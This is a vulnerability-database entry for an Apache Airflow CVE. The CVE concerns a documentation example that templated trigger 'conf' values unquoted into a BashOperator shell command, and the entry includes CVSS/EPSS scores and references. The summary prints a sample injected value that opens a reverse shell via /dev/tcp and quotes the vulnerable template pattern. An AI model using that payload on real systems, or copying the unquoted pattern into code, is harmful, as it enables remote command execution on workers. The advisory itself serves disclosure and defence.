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Vulnerability details: VCID-xga6-ksvc-9yhf
Vulnerability ID VCID-xga6-ksvc-9yhf
Aliases BIT-airflow-2026-42252
CVE-2026-42252
PYSEC-2026-184
Summary Apache Airflow's official documentation at `core-concepts/dag-run.html` ("Passing Parameters when triggering Dags") showed a verbatim `BashOperator(bash_command="echo value: {{ dag_run.conf['conf1'] }}")` example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had `Dag.can_trigger` permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the `conf` field of the trigger API: an authenticated trigger user could supply `"; bash -i >& /dev/tcp/.../9999 0>&1; #"` as a `conf` value and reach an `os.exec` on the worker. This CVE covers the documentation correction in `apache/airflow` PR 64129 — the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to `apache-airflow` 3.2.2 or later to pick up the corrected documentation shipped with the release.
Status Published
Exploitability 0.5
Weighted Severity 8.2
Risk 4.1
Affected and Fixed Packages Package Details
Weaknesses (1)
CWE-1336 Improper Neutralization of Special Elements Used in a Template Engine
System Score Found at
epss 0.00067 https://api.first.org/data/v1/epss?cve=CVE-2026-42252
epss 0.00067 https://api.first.org/data/v1/epss?cve=CVE-2026-42252
cvssv3.1 9.1 https://github.com/apache/airflow/pull/64129
ssvc Track https://github.com/apache/airflow/pull/64129
cvssv3.1 9.1 https://lists.apache.org/thread/8f4sc0rfn154jprmnwtmlst4p9zfw3w7
ssvc Track https://lists.apache.org/thread/8f4sc0rfn154jprmnwtmlst4p9zfw3w7
Reference id Reference type URL
https://api.first.org/data/v1/epss?cve=CVE-2026-42252
64129 https://github.com/apache/airflow/pull/64129
8f4sc0rfn154jprmnwtmlst4p9zfw3w7 https://lists.apache.org/thread/8f4sc0rfn154jprmnwtmlst4p9zfw3w7
No exploits are available.
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N Found at https://github.com/apache/airflow/pull/64129
Attack Vector (AV) Attack Complexity (AC) Privileges Required (PR) User Interaction (UI) Scope (S) Confidentiality Impact (C) Integrity Impact (I) Availability Impact (A)

network

adjacent_network

local

physical

low

high

none

low

high

none

required

unchanged

changed

high

low

none

high

low

none

high

low

none
Vector: SSVCv2/E:N/A:Y/T:T/P:M/B:A/M:M/D:T/2026-06-02T16:05:01Z/ Found at https://github.com/apache/airflow/pull/64129
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N Found at https://lists.apache.org/thread/8f4sc0rfn154jprmnwtmlst4p9zfw3w7
Attack Vector (AV) Attack Complexity (AC) Privileges Required (PR) User Interaction (UI) Scope (S) Confidentiality Impact (C) Integrity Impact (I) Availability Impact (A)

network

adjacent_network

local

physical

low

high

none

low

high

none

required

unchanged

changed

high

low

none

high

low

none

high

low

none
Vector: SSVCv2/E:N/A:Y/T:T/P:M/B:A/M:M/D:T/2026-06-02T16:05:01Z/ Found at https://lists.apache.org/thread/8f4sc0rfn154jprmnwtmlst4p9zfw3w7
Exploit Prediction Scoring System (EPSS)
Percentile 0.20955
EPSS Score 0.00067
Published At June 11, 2026, 12:55 p.m.
Date Actor Action Source VulnerableCode Version
2026-06-11T16:44:19.596992+00:00 Vulnrichment Import https://github.com/cisagov/vulnrichment/blob/develop/2026/42xxx/CVE-2026-42252.json 38.6.0